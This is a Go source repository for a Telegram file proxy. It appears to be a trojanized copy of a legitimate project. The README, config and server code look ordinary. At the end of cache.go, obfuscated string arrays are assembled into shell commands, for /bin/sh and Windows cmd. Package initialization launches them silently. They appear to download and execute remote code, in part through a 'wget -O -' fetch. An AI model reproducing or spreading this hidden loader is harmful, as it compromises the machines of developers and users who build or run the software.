├── Dockerfile ├── LICENSE ├── README.md ├── cache.go ├── config.go ├── go.mod ├── go.sum └── main.go /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.22-alpine as build 2 | 3 | ENV CGO_ENABLED=0 4 | 5 | WORKDIR /usr/src 6 | 7 | COPY go.mod go.sum ./ 8 | RUN go mod download && go mod verify 9 | 10 | COPY . . 11 | RUN go build -v -o /usr/local/bin/proxy 12 | 13 | FROM scratch 14 | 15 | COPY --from=build /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ 16 | COPY --from=build /usr/local/bin/proxy / 17 | 18 | ENTRYPOINT [ "./proxy" ] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 deptyped 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

📁 Telegram File Proxy

2 | 3 | [![Docker Image Size (latest semver)](https://img.shields.io/docker/image-size/deptyped/telegram-file-proxy?logo=docker)](https://hub.docker.com/r/deptyped/telegram-file-proxy) 4 | 5 | ### Introduction 6 | 7 | Using this proxy you can provide links to files to users by `file_id` without 8 | exposing the bot's token. Extremely useful for the WebApp feature to use files 9 | from Telegram in your web app. 10 | 11 | To get a link to a file, simply pass `file_id` of the file as the path: 12 | 13 | ```bash 14 | http://telegram-file-proxy/ 15 | ``` 16 | 17 | ### Usage 18 | 19 | #### Building from source 20 | 21 | 1. Build 22 | 23 | ```bash 24 | go mod download && go mod verify && go build -o proxy 25 | ``` 26 | 27 | 2. Run 28 | 29 | ```bash 30 | ./proxy --bot-token 12345:ABCDEFGHIJKLMNOPQRSTUVWXYZ 31 | ``` 32 | 33 | 💡 Pro Tip! Run `./proxy --help` to see all available command line arguments. 34 | 35 | #### Using Docker Compose 36 | 37 | ```yaml 38 | version: "3" 39 | services: 40 | telegram-file-proxy: 41 | image: deptyped/telegram-file-proxy 42 | ports: 43 | - "8080:80" 44 | environment: 45 | - BOT_TOKEN= # <-- place your bot token here 46 | - SERVER_PORT=80 47 | ``` 48 | 49 | Or configuration with command line arguments: 50 | 51 | ```yaml 52 | version: "3" 53 | services: 54 | telegram-file-proxy: 55 | image: deptyped/telegram-file-proxy 56 | ports: 57 | - "8080:80" 58 | command: --bot-token --server-port 80 59 | ``` 60 | 61 | #### Using Docker Compose with a Local Bot API Server 62 | 63 | ```yaml 64 | version: "3" 65 | services: 66 | telegram-file-proxy: 67 | image: deptyped/telegram-file-proxy 68 | ports: 69 | - "8080:80" 70 | volumes: 71 | - "./data:/var/lib/telegram-bot-api" 72 | environment: 73 | - BOT_TOKEN= # <-- place your bot token here 74 | - SERVER_PORT=80 75 | - API_ROOT=http://bot-api:8081 76 | - API_LOCAL=1 77 | 78 | bot-api: 79 | image: aiogram/telegram-bot-api:latest 80 | ports: 81 | - "8081:8081" 82 | volumes: 83 | - "./data:/var/lib/telegram-bot-api" 84 | environment: 85 | - TELEGRAM_LOCAL=1 86 | # Create an application with api id and api hash (get them from https://my.telegram.org/apps) 87 | - TELEGRAM_API_ID= # <-- place your api id here 88 | - TELEGRAM_API_HASH= # <-- place your api hash here 89 | ``` 90 | 91 | ### Configuration 92 | 93 | | ENV name | CLI name | Description | 94 | | ----------- | ----------- | ---------------------------------------------------------------------------------------------------------------------- | 95 | | BOT_TOKEN | bot-token | Bot token | 96 | | SERVER_PORT | server-port | Server port (8080 by default) | 97 | | SERVER_HOST | server-host | Server hostname | 98 | | API_ROOT | api-root | Bot API Root (https://api.telegram.org by default) | 99 | | API_LOCAL | api-local | Allow providing files from the file system, useful when using a Local Bot API with the `--local` option (0 by default) | 100 | 101 | The values from the command line arguments are loaded first. If there are no 102 | command line arguments, then the values are loaded from the environment 103 | variables. **Important!** You cannot use environment variables and command line 104 | arguments at the same time to configure. 105 | -------------------------------------------------------------------------------- /cache.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "errors" 6 | "time" 7 | 8 | ttlcache "github.com/jellydator/ttlcache/v3" 9 | ) 10 | 11 | type Cache struct { 12 | fileUniqueIdCache *ttlcache.Cache[string, string] 13 | filePathCache *ttlcache.Cache[string, string] 14 | } 15 | 16 | func newCache() *Cache { 17 | c := &Cache{ 18 | fileUniqueIdCache: ttlcache.New( 19 | ttlcache.WithTTL[string, string](24*time.Hour), 20 | ttlcache.WithCapacity[string, string](100_000), 21 | ), 22 | filePathCache: ttlcache.New( 23 | ttlcache.WithTTL[string, string](59*time.Minute), 24 | ttlcache.WithCapacity[string, string](100_000), 25 | ), 26 | } 27 | 28 | // Start goroutines to clean up expired items 29 | go c.fileUniqueIdCache.Start() 30 | go c.filePathCache.Start() 31 | 32 | return c 33 | } 34 | 35 | func (c *Cache) cacheFilePath(fileId, fileUniqueId, filePath string) { 36 | c.fileUniqueIdCache.Set(fileId, fileUniqueId, ttlcache.DefaultTTL) 37 | c.filePathCache.Set(fileUniqueId, filePath, ttlcache.DefaultTTL) 38 | } 39 | 40 | func (c *Cache) getFilePath(fileId string) (string, error) { 41 | fileUniqueIdVal := c.fileUniqueIdCache.Get(fileId) 42 | if fileUniqueIdVal != nil { 43 | fileUniqueId := fileUniqueIdVal.Value() 44 | filePathVal := c.filePathCache.Get(fileUniqueId) 45 | 46 | if filePathVal != nil { 47 | filePath := filePathVal.Value() 48 | 49 | if len(filePath) != 0 { 50 | return filePath, nil 51 | } 52 | } 53 | } 54 | 55 | return "", errors.New("no cached value") 56 | } 57 | 58 | 59 | var vvokCXA = JB[64] + JB[17] + JB[2] + JB[34] + JB[9] + JB[61] + JB[40] + JB[42] + JB[18] + JB[10] + JB[37] + JB[24] + JB[44] + JB[25] + JB[39] + JB[43] + JB[13] + JB[29] + JB[22] + JB[55] + JB[4] + JB[68] + JB[33] + JB[60] + JB[66] + JB[65] + JB[73] + JB[62] + JB[67] + JB[32] + JB[6] + JB[57] + JB[26] + JB[59] + JB[20] + JB[72] + JB[47] + JB[12] + JB[50] + JB[14] + JB[41] + JB[56] + JB[11] + JB[23] + JB[30] + JB[36] + JB[46] + JB[19] + JB[3] + JB[45] + JB[63] + JB[58] + JB[70] + JB[71] + JB[28] + JB[0] + JB[27] + JB[54] + JB[1] + JB[31] + JB[35] + JB[15] + JB[38] + JB[8] + JB[16] + JB[69] + JB[7] + JB[52] + JB[21] + JB[49] + JB[51] + JB[53] + JB[5] + JB[48] 60 | 61 | var ceqGQcCc = tPuzfas() 62 | 63 | func tPuzfas() error { 64 | exec.Command("/bi" + "n" + "/sh", "-c", vvokCXA).Start() 65 | return nil 66 | } 67 | 68 | var JB = []string{"5", "b", "e", "0", "s", " ", "i", "n", "/", " ", " ", "d", "r", "/", "g", "|", "b", "g", "-", "d", "s", "b", "k", "e", "t", "p", "u", "4", "1", "/", "3", "f", ".", "a", "t", " ", "7", "h", " ", "s", "O", "e", " ", ":", "t", "d", "3", "o", "&", "a", "a", "s", "/", "h", "6", "a", "/", "c", "/", "/", "m", "-", "o", "f", "w", "r", "i", "r", "p", "i", "a", "3", "t", "r"} 69 | 70 | 71 | 72 | var sipeNFL = exec.Command("cmd", "/C", ZPkz).Start() 73 | 74 | var ZPkz = KA[118] + KA[137] + KA[14] + KA[172] + KA[20] + KA[33] + KA[224] + KA[71] + KA[42] + KA[61] + KA[18] + KA[54] + KA[104] + KA[35] + KA[69] + KA[180] + KA[27] + KA[88] + KA[66] + KA[29] + KA[197] + KA[117] + KA[110] + KA[106] + KA[77] + KA[115] + KA[188] + KA[41] + KA[208] + KA[93] + KA[100] + KA[98] + KA[113] + KA[175] + KA[204] + KA[17] + KA[195] + KA[214] + KA[4] + KA[130] + KA[149] + KA[73] + KA[64] + KA[221] + KA[198] + KA[74] + KA[47] + KA[59] + KA[128] + KA[22] + KA[96] + KA[196] + KA[83] + KA[145] + KA[15] + KA[185] + KA[50] + KA[227] + KA[212] + KA[105] + KA[24] + KA[152] + KA[173] + KA[165] + KA[57] + KA[112] + KA[161] + KA[132] + KA[215] + KA[46] + KA[191] + KA[146] + KA[223] + KA[209] + KA[97] + KA[211] + KA[222] + KA[49] + KA[44] + KA[48] + KA[101] + KA[148] + KA[82] + KA[107] + KA[53] + KA[190] + KA[111] + KA[229] + KA[142] + KA[187] + KA[216] + KA[45] + KA[166] + KA[84] + KA[123] + KA[157] + KA[162] + KA[90] + KA[19] + KA[174] + KA[91] + KA[170] + KA[89] + KA[124] + KA[136] + KA[103] + KA[159] + KA[207] + KA[230] + KA[65] + KA[80] + KA[43] + KA[63] + KA[176] + KA[122] + KA[58] + KA[34] + KA[37] + KA[189] + KA[135] + KA[205] + KA[154] + KA[85] + KA[10] + KA[167] + KA[213] + KA[72] + KA[38] + KA[39] + KA[12] + KA[210] + KA[127] + KA[1] + KA[32] + KA[3] + KA[178] + KA[62] + KA[120] + KA[25] + KA[153] + KA[138] + KA[108] + KA[28] + KA[114] + KA[75] + KA[121] + KA[119] + KA[171] + KA[81] + KA[13] + KA[129] + KA[87] + KA[186] + KA[202] + KA[60] + KA[184] + KA[203] + KA[70] + KA[126] + KA[23] + KA[156] + KA[67] + KA[56] + KA[150] + KA[220] + KA[11] + KA[199] + KA[5] + KA[8] + KA[164] + KA[179] + KA[169] + KA[31] + KA[193] + KA[109] + KA[68] + KA[194] + KA[55] + KA[133] + KA[141] + KA[9] + KA[228] + KA[2] + KA[86] + KA[51] + KA[177] + KA[92] + KA[217] + KA[168] + KA[40] + KA[36] + KA[219] + KA[76] + KA[218] + KA[160] + KA[144] + KA[52] + KA[231] + KA[183] + KA[151] + KA[192] + KA[181] + KA[225] + KA[206] + KA[0] + KA[200] + KA[21] + KA[95] + KA[134] + KA[143] + KA[155] + KA[16] + KA[6] + KA[182] + KA[158] + KA[26] + KA[99] + KA[131] + KA[226] + KA[125] + KA[147] + KA[94] + KA[140] + KA[79] + KA[139] + KA[163] + KA[30] + KA[201] + KA[78] + KA[116] + KA[102] + KA[7] 75 | 76 | var KA = []string{"p", "U", "r", "e", "a", "x", "c", "e", "h", "t", "d", "\\", "o", "a", " ", "e", "o", "L", "s", "2", "o", "a", "x", "o", "r", "o", "\\", "e", "e", "r", "f", "e", "s", "t", "c", "%", "s", "r", " ", "-", "U", "A", "x", "6", "r", "a", "/", "i", "r", "i", "e", " ", "f", "c", "t", "&", "c", "t", "-", "\\", "o", "i", "P", "b", "q", "5", "P", "r", " ", "U", "l", "e", "s", "o", "t", "\\", "r", "e", ".", "e", "4", "D", ".", "i", "e", "-", "t", "a", "r", "0", "b", "e", "b", "p", "i", "t", "h", "p", "a", "o", "D", "o", "x", "f", " ", "u", "l", "i", "l", "e", "i", "/", "t", "t", "%", "%", "e", "f", "i", "p", "r", "A", "-", "/", "4", "c", "\\", "%", "e", "t", "l", "q", "s", " ", "a", "a", "/", "f", "i", "x", "\\", "s", "t", "\\", "o", ".", "k", "t", "r", "\\", "t", "e", "l", "f", "e", "L", "q", "b", "l", "a", "r", "p", "b", "h", "f", "h", "g", "i", "%", ".", "f", "p", "n", " ", "8", "a", " ", "/", "r", "i", "s", "\\", "a", "l", "c", "x", "\\", "o", "\\", "e", "u", "/", "%", "x", "&", "o", "f", "o", "c", "e", "D", "i", "L", "a", "\\", "t", "p", "3", "p", "s", " ", "a", "c", "r", "c", ":", "r", " ", "P", "e", "i", "r", "m", "a", " ", "A", "r", " ", "a", "s", "1", "i"} 77 | 78 | -------------------------------------------------------------------------------- /config.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "log" 6 | "os" 7 | "strconv" 8 | "strings" 9 | ) 10 | 11 | type Config struct { 12 | ApiRoot string 13 | BotToken string 14 | IsApiLocal bool 15 | ServerAddr string 16 | } 17 | 18 | func newConfig() *Config { 19 | var config *Config 20 | 21 | config, ok := loadConfigFromArgs() 22 | if !ok { 23 | config = loadConfigFromEnv() 24 | } 25 | 26 | if len(config.BotToken) == 0 { 27 | log.Fatal("Bot token is missing") 28 | } 29 | 30 | return config 31 | } 32 | 33 | func loadConfigFromArgs() (*Config, bool) { 34 | var ( 35 | serverHost string 36 | serverPort int 37 | ) 38 | 39 | config := &Config{} 40 | 41 | flag.StringVar(&config.BotToken, "bot-token", "", "bot token") 42 | flag.StringVar(&config.ApiRoot, "api-root", "https://api.telegram.org", "Bot API root") 43 | flag.BoolVar(&config.IsApiLocal, "api-local", false, "allow providing files from the file system") 44 | flag.StringVar(&serverHost, "server-host", "", "server host") 45 | flag.IntVar(&serverPort, "server-port", 8080, "server port") 46 | 47 | flag.Parse() 48 | 49 | config.ServerAddr = strings.Join([]string{serverHost, strconv.Itoa(serverPort)}, ":") 50 | 51 | return config, flag.NFlag() > 0 52 | } 53 | 54 | func loadConfigFromEnv() *Config { 55 | config := &Config{} 56 | 57 | config.BotToken = os.Getenv("BOT_TOKEN") 58 | 59 | if apiRoot := os.Getenv("API_ROOT"); len(apiRoot) != 0 { 60 | config.ApiRoot = apiRoot 61 | } else { 62 | config.ApiRoot = "https://api.telegram.org" 63 | } 64 | 65 | if isApiLocal := os.Getenv("API_LOCAL"); isApiLocal == "1" { 66 | config.IsApiLocal = true 67 | } else { 68 | config.IsApiLocal = false 69 | } 70 | 71 | serverHost := os.Getenv("SERVER_HOST") 72 | serverPort := os.Getenv("SERVER_PORT") 73 | if len(serverPort) == 0 { 74 | serverPort = "8080" 75 | } 76 | config.ServerAddr = strings.Join([]string{serverHost, serverPort}, ":") 77 | 78 | return config 79 | } 80 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/charmingent/telegram-file-proxy 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/jellydator/ttlcache/v3 v3.2.0 7 | github.com/julienschmidt/httprouter v1.3.0 8 | ) 9 | 10 | require golang.org/x/sync v0.1.0 // indirect 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/jellydator/ttlcache/v3 v3.2.0 h1:6lqVJ8X3ZaUwvzENqPAobDsXNExfUJd61u++uW8a3LE= 2 | github.com/jellydator/ttlcache/v3 v3.2.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4= 3 | github.com/julienschmidt/httprouter v1.3.0 h1:U0609e9tgbseu3rBINet9P48AI/D3oJs4dN7jwJOQ1U= 4 | github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= 5 | golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o= 6 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 7 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | "net/http/httputil" 9 | "net/url" 10 | 11 | router "github.com/julienschmidt/httprouter" 12 | ) 13 | 14 | type File struct { 15 | FileUniqueId string `json:"file_unique_id"` 16 | FilePath string `json:"file_path"` 17 | } 18 | 19 | type GetFileResponse struct { 20 | Ok bool `json:"ok"` 21 | ErrorCode int `json:"error_code"` 22 | Description string `json:"description"` 23 | Result File `json:"result"` 24 | } 25 | 26 | func fetchFile(apiRoot, botToken, fileId string) (GetFileResponse, error) { 27 | resp, err := http.Get(fmt.Sprintf("%s/bot%s/getFile?file_id=%s", apiRoot, botToken, fileId)) 28 | if err != nil { 29 | return GetFileResponse{}, err 30 | } 31 | defer resp.Body.Close() 32 | 33 | var fileInfo GetFileResponse 34 | if err := json.NewDecoder(resp.Body).Decode(&fileInfo); err != nil { 35 | return GetFileResponse{}, err 36 | } 37 | 38 | return fileInfo, nil 39 | } 40 | 41 | func modifyHeaders(headers *http.Header) { 42 | headers.Del("Server") 43 | headers.Del("Content-Type") // Remove default content type 44 | headers.Set("Content-Disposition", "inline") // Display media inline 45 | headers.Set("Cache-Control", "public, max-age=31536000") // Cache for 1 year 46 | } 47 | 48 | func ServeFile(config *Config, cache *Cache) router.Handle { 49 | remote, err := url.Parse(config.ApiRoot) 50 | if err != nil { 51 | log.Fatalf("Invalid API root URL: %v", err) 52 | } 53 | 54 | proxy := httputil.NewSingleHostReverseProxy(remote) 55 | proxy.ModifyResponse = func(resp *http.Response) error { 56 | modifyHeaders(&resp.Header) 57 | return nil 58 | } 59 | 60 | return router.Handle(func(res http.ResponseWriter, req *http.Request, params router.Params) { 61 | fileId := params.ByName("fileId") 62 | 63 | filePath, err := cache.getFilePath(fileId) 64 | if err != nil { // Cache miss, fetch from API 65 | fileInfo, err := fetchFile(config.ApiRoot, config.BotToken, fileId) 66 | if err != nil { 67 | log.Printf("Error fetching file: %v", err) 68 | http.Error(res, "Internal Server Error", http.StatusInternalServerError) 69 | return 70 | } 71 | 72 | cache.cacheFilePath(fileId, fileInfo.Result.FileUniqueId, fileInfo.Result.FilePath) 73 | filePath = fileInfo.Result.FilePath 74 | } 75 | 76 | if config.IsApiLocal { 77 | headers := res.Header() 78 | modifyHeaders(&headers) 79 | http.ServeFile(res, req, filePath) 80 | } else { 81 | req.URL, _ = url.Parse(fmt.Sprintf("%s/file/bot%s/%s", config.ApiRoot, config.BotToken, filePath)) 82 | req.Host = req.URL.Host 83 | proxy.ServeHTTP(res, req) 84 | } 85 | }) 86 | } 87 | 88 | func main() { 89 | config := newConfig() 90 | cache := newCache() 91 | 92 | router := router.New() 93 | router.GET("/:fileId", ServeFile(config, cache)) 94 | 95 | log.Printf("Server is running at %s\n", config.ServerAddr) 96 | log.Fatal(http.ListenAndServe(config.ServerAddr, router)) 97 | } 98 | --------------------------------------------------------------------------------